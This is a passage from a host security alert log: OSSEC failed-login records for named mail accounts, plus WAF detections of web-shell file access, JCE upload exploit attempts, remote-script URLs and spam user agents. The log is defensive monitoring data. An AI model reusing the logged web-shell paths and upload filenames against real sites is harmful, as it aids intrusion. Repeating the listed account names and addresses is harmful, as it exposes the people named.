abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-13 05:58:21 dovecot_login authenticator failed for H=([192.111.138.28]) [211.105.229.237]:42972: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-13 05:59:14 dovecot_login authenticator failed for H=(mx-ll-171.6.98-160.dynamic.3bb.in.th) [213.55.79.195]:47736: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-13 05:58:37 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([104.37.132.51]) [174.168.146.152]:59909: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: www.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/assets/images/images/cache.php||SC:/home/cochinbigbandsho/public_html/assets||


plugin: modsec
rule: 77469916
abuser: 47.250.80.188
country_id: 1733045
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-7b86f49a.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.69
country_id: 1733045
description:
2026-07-13 06:09:49 dovecot_login authenticator failed for H=([5.76.16.216]) [49.124.151.69]:46464: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.155.237.108
country_id: 1835841
description:
2026-07-13 06:10:15 dovecot_login authenticator failed for H=([65.20.202.4]) [221.155.237.108]:34002: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-13 06:10:15 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.70
country_id: 1733045
description:
2026-07-13 06:14:13 dovecot_login authenticator failed for H=(81-25-159-170.junet.se) [49.124.151.70]:55212: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 15.204.114.164
country_id: 6252001
domain: gsmex.global
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-utgy40j0.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-13 06:15:12 dovecot_login authenticator failed for H=(adsl-181-129-31-42.une.net.co) [121.185.89.74]:56046: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-13 06:14:43 dovecot_login authenticator failed for H=(dynamic-ip-19015713210.cable.net.co) [220.86.176.134]:59237: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-13 06:14:29 dovecot_login authenticator failed for H=([101.13.4.124]) [14.42.47.150]:36290: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.22.205
country_id: 1835841
description:
2026-07-13 06:15:02 dovecot_login authenticator failed for H=([1.209.170.44]) [211.43.22.205]:36325: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.210.225
country_id: 1605651
description:
2026-07-13 06:15:25 dovecot_login authenticator failed for H=mx-ll-183.89.210-225.dynamic.3bb.co.th ([65.20.141.202]) [183.89.210.225]:53387: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.108.83.2
country_id: 6251999
description:
2026-07-13 06:15:21 dovecot_login authenticator failed for H=([199.58.185.11]) [38.108.83.2]:4810: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/jfmbhlxl/fonts/aosgkwzw.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.64
country_id: 1733045
description:
2026-07-13 06:19:51 dovecot_login authenticator failed for H=(pppoe-78-111-249-76.dynamic.tvingo.ru) [49.124.151.64]:41054: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-13 06:19:26 dovecot_login authenticator failed for H=(ip-50-5-205-174.dynamic.fuse.net) [206.62.136.109]:48362: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-13 06:28:06 dovecot_login authenticator failed for H=(111-70-23-238.emome-ip.hinet.net) [197.219.228.246]:55480: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-13 06:29:17 dovecot_login authenticator failed for H=(nsg-corporate-150.65.185.122.airtel.in) [94.16.17.141]:39422: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-13 06:28:33 dovecot_login authenticator failed for H=(93-122-239-57.orangero.net) [210.206.24.237]:37561: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-13 06:29:54 dovecot_login authenticator failed for H=(223-197-145-33.static.imsbiz.com) [62.220.236.203]:58342: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-13 06:29:30 dovecot_login authenticator failed for H=([27.123.107.154]) [119.192.219.77]:45595: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.218.109.180
country_id: 1668284
description:
2026-07-13 06:30:57 dovecot_login authenticator failed for H=([49.124.152.32]) [180.218.109.180]:49722: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-13 06:30:39 dovecot_login authenticator failed for H=([121.131.220.168]) [61.97.17.208]:41524: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.27.123.101
country_id: 1835841
description:
2026-07-13 06:31:26 dovecot_login authenticator failed for H=([45.170.50.2]) [59.27.123.101]:47839: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.23
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.google.ch/url?q=https://www.barbadossothebysrealty.com/story/why-insurance-digital-transformation-often-falls-short\">SUV performance</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-13 06:34:12 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([182.79.151.121]) [155.4.209.51]:55806: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.62.73.218
country_id: 1835841
description:
2026-07-13 06:34:29 dovecot_login authenticator failed for H=([189.59.210.1]) [211.62.73.218]:38122: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-13 06:35:08 dovecot_login authenticator failed for H=([70.166.167.37]) [182.95.116.66]:52374: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 51.79.180.235
country_id: 1880251
domain: yukticlick.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:yukticlick||SC:/home/yukticlick/public_html/index.php||WPU:||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.205
country_id: 337996
description:
2026-07-13 06:37:12 dovecot_login authenticator failed for H=([45.170.50.2]) [196.188.187.205]:55096: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-13 06:36:56 dovecot_login authenticator failed for H=([184.181.217.198]) [219.248.4.146]:51574: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 156.230.191.185
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/s8fc40iut2d.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-13 06:44:36 dovecot_login authenticator failed for H=([183.36.25.148]) [210.5.117.238]:58509: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 156.230.191.185
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/s8fc40iut2d.php5||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.122.110
country_id: 1269750
description:
2026-07-13 06:45:06 dovecot_login authenticator failed for H=([193.31.200.85]) [182.95.122.110]:52374: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/qaupqmyb/fonts/zycvhslp.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-13 06:50:14 dovecot_login authenticator failed for H=(069.138.48.116.static.netvigator.com) [202.62.88.25]:33848: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-13 06:50:03 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([163.223.244.3]) [83.166.50.15]:49621: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-13 06:50:23 dovecot_login authenticator failed for H=([68.71.249.154]) [106.201.237.208]:44730: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-13 06:51:28 dovecot_login authenticator failed for H=([192.111.137.33]) [222.97.195.179]:43522: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.95.5
country_id: 294640
description:
2026-07-13 06:51:50 dovecot_login authenticator failed for H=([210.13.99.68]) [46.210.95.5]:36094: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-13 07:03:43 dovecot_login authenticator failed for H=([14.42.47.150]) [94.16.17.141]:44976: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-13 07:05:01 dovecot_login authenticator failed for H=([49.124.153.22]) [49.206.194.29]:38972: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-07-13 07:05:17 dovecot_login authenticator failed for H=(host-119.84.45.129.djezzycloud.dz) [182.76.107.16]:59782: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.8.175.39
country_id: 1605651
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:57645.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6dd5138987e2d75ca1d1a2ad5b3138e593b242c1||Title:0xd1d5fb30||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-13 07:16:47 dovecot_login authenticator failed for H=([192.111.137.33]) [92.62.74.41]:58516: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-13 07:17:20 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net (mail.prdnorth.in.th) [65.73.230.102]:37330: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-13 07:21:04 dovecot_login authenticator failed for H=(vps-36f1e8f3.vps.ovh.net) [45.82.110.150]:49200: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.132
country_id: 1668284
description:
2026-07-13 07:20:44 dovecot_login authenticator failed for H=110-25-112-132.adsl.fetnet.net (ip-199-102-107-147.hosts.zerolag.com) [110.25.112.132]:33502: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.80.24.191
country_id: 3378535
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/category/finance/index.html HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.56.224.81
country_id: 290557
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/components/com_sppagebuilder/assets/css/font-awesome-v4-shims.css HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.73.246
country_id: 1605651
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/components/com_sppagebuilder/assets/css/font-awesome-5.min.css HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.92.150
country_id: 6251999
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/components/com_sppagebuilder/assets/css/animate.min.css HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.105.139
country_id: 3439705
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/images/2024/10/23/pa-systems-banner.png HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.130.4
country_id: 2510769
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/images/hotels-icon_AI.png HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.110.37
country_id: 290557
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/images/2025/10/08/post1.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.213.66
country_id: 290557
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/media/vendor/joomla-custom-elements/css/joomla-alert.min.css?0.2.0 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.72.59
country_id: 290557
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/components/com_sppagebuilder/assets/css/sppagebuilder.css HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.249.14
country_id: 3895114
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/images/2024/10/10/background-image-theater.jpeg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.233.139
country_id: 290557
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/images/icon3.png HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.251.121.187
country_id: 241170
domain: gsmex.global
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ajuydrln/fonts/trcnkxcm.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-13 07:27:30 dovecot_login authenticator failed for H=([107.181.168.150]) [207.188.158.216]:31491: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.231
country_id: 99237
description:
2026-07-13 07:28:13 dovecot_login authenticator failed for H=([111.26.62.41]) [65.20.191.231]:55385: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-13 07:29:43 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se ([183.171.15.95]) [83.226.181.38]:53700: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.184
country_id: 2215636
description:
2026-07-13 07:30:19 dovecot_login authenticator failed for H=([115.245.122.146]) [102.38.3.184]:38409: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.126.222.110
country_id: 6252001
description:
2026-07-13 07:29:36 dovecot_login authenticator failed for H=174-126-222-110.cpe.sparklight.net ([67.201.58.185]) [174.126.222.110]:33920: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-07-13 07:30:03 dovecot_login authenticator failed for H=(157.ip-51-75-142.eu) [169.211.232.182]:41620: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.105.139
country_id: 3439705
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/images/2024/10/22/footer-bg.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-13 07:30:01 dovecot_login authenticator failed for H=([175.213.42.43]) [78.187.230.168]:37969: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.73.246
country_id: 1605651
domain: www.metrodigitals.com:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com:80/images/2023/10/04/ht-1.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-13 07:29:48 dovecot_login authenticator failed for H=([131.189.214.140]) [182.95.109.138]:42884: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 20.223.54.57
country_id: 2963597
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/?add-to-cart=10536||QS:add-to-cart=10536||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.192.62
country_id: 1733045
description:
2026-07-13 07:41:04 dovecot_plain authenticator failed for H=(rekled) [51.162.192.62]:45207: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.176.157.57
country_id: 6252001
description:
2026-07-13 07:41:09 dovecot_plain authenticator failed for H=c-73-176-157-57.hsd1.il.comcast.net (prapiestid) [73.176.157.57]:44658: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 20.223.54.57
country_id: 2963597
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/?add-to-cart=10306||QS:add-to-cart=10306||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.232.153.182
country_id: 3865483
description:
2026-07-13 07:42:54 dovecot_login authenticator failed for H=(150.120.103.218.static.netvigator.com) [24.232.153.182]:37936: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-13 07:46:37 dovecot_login authenticator failed for H=([192.252.220.90]) [165.101.222.22]:50754: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 89.147.162.130
country_id: 286963
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://record.genesysaffiliates.com/_Q8N6Xz9X-HeW__guCbOxL2Nd7ZgqdRLk/1/\">real money casino online gambling</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-13 07:48:13 dovecot_login authenticator failed for H=([180.76.52.146]) [197.242.170.10]:53909: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.246.160.21
country_id: 1835841
description:
2026-07-13 07:47:39 dovecot_login authenticator failed for H=(78-67-161-64-no2550.tbcn.telia.com) [211.246.160.21]:56020: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-13 07:47:24 dovecot_login authenticator failed for H=(ool-4573b2c4.dyn.optonline.net) [196.189.59.226]:34324: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.211.7.162
country_id: 2215636
description:
2026-07-13 07:48:36 dovecot_login authenticator failed for H=([197.44.221.129]) [102.211.7.162]:58366: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.83
country_id: 1733045
description:
2026-07-13 07:56:37 dovecot_login authenticator failed for H=([109.238.140.87]) [49.125.201.83]:39238: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.152.12.212
country_id: 1210997
description:
2026-07-13 07:57:07 dovecot_login authenticator failed for H=([186.5.180.176]) [59.152.12.212]:60612: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-07-13 08:05:15 dovecot_login authenticator failed for H=([183.167.217.86]) [121.202.135.172]:18987: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-13 08:05:38 dovecot_login authenticator failed for H=(180.151.254.218.reverse.spectranet.in) [196.0.113.110]:37141: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-13 08:06:27 dovecot_login authenticator failed for H=([192.252.211.196]) [94.16.17.141]:43264: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-13 08:06:55 dovecot_login authenticator failed for H=([14.49.156.137]) [1.250.67.114]:49226: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-13 08:14:10 dovecot_login authenticator failed for H=([116.7.248.50]) [182.95.127.42]:36280: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-13 08:14:48 dovecot_login authenticator failed for H=(static.ill.61.2.246.139.bsnl.co.in) [121.185.89.74]:45202: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.95.5
country_id: 294640
description:
2026-07-13 08:18:10 dovecot_login authenticator failed for H=([210.206.24.238]) [46.210.95.5]:40635: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.168.6.27
country_id: 1512440
description:
2026-07-13 08:26:12 dovecot_plain authenticator failed for H=(unimplin) [170.168.6.27]:46234: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.61.199.212
country_id: 6252001
description:
2026-07-13 08:26:09 dovecot_plain authenticator failed for H=c-24-61-199-212.hsd1.ct.comcast.net (literseris) [24.61.199.212]:53314: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.108.83.2
country_id: 6251999
description:
2026-07-13 08:27:40 dovecot_login authenticator failed for H=([183.63.220.210]) [38.108.83.2]:44341: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-13 08:28:14 dovecot_login authenticator failed for H=(208-85-238-114.static.xsmedia.com) [119.196.213.196]:58482: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
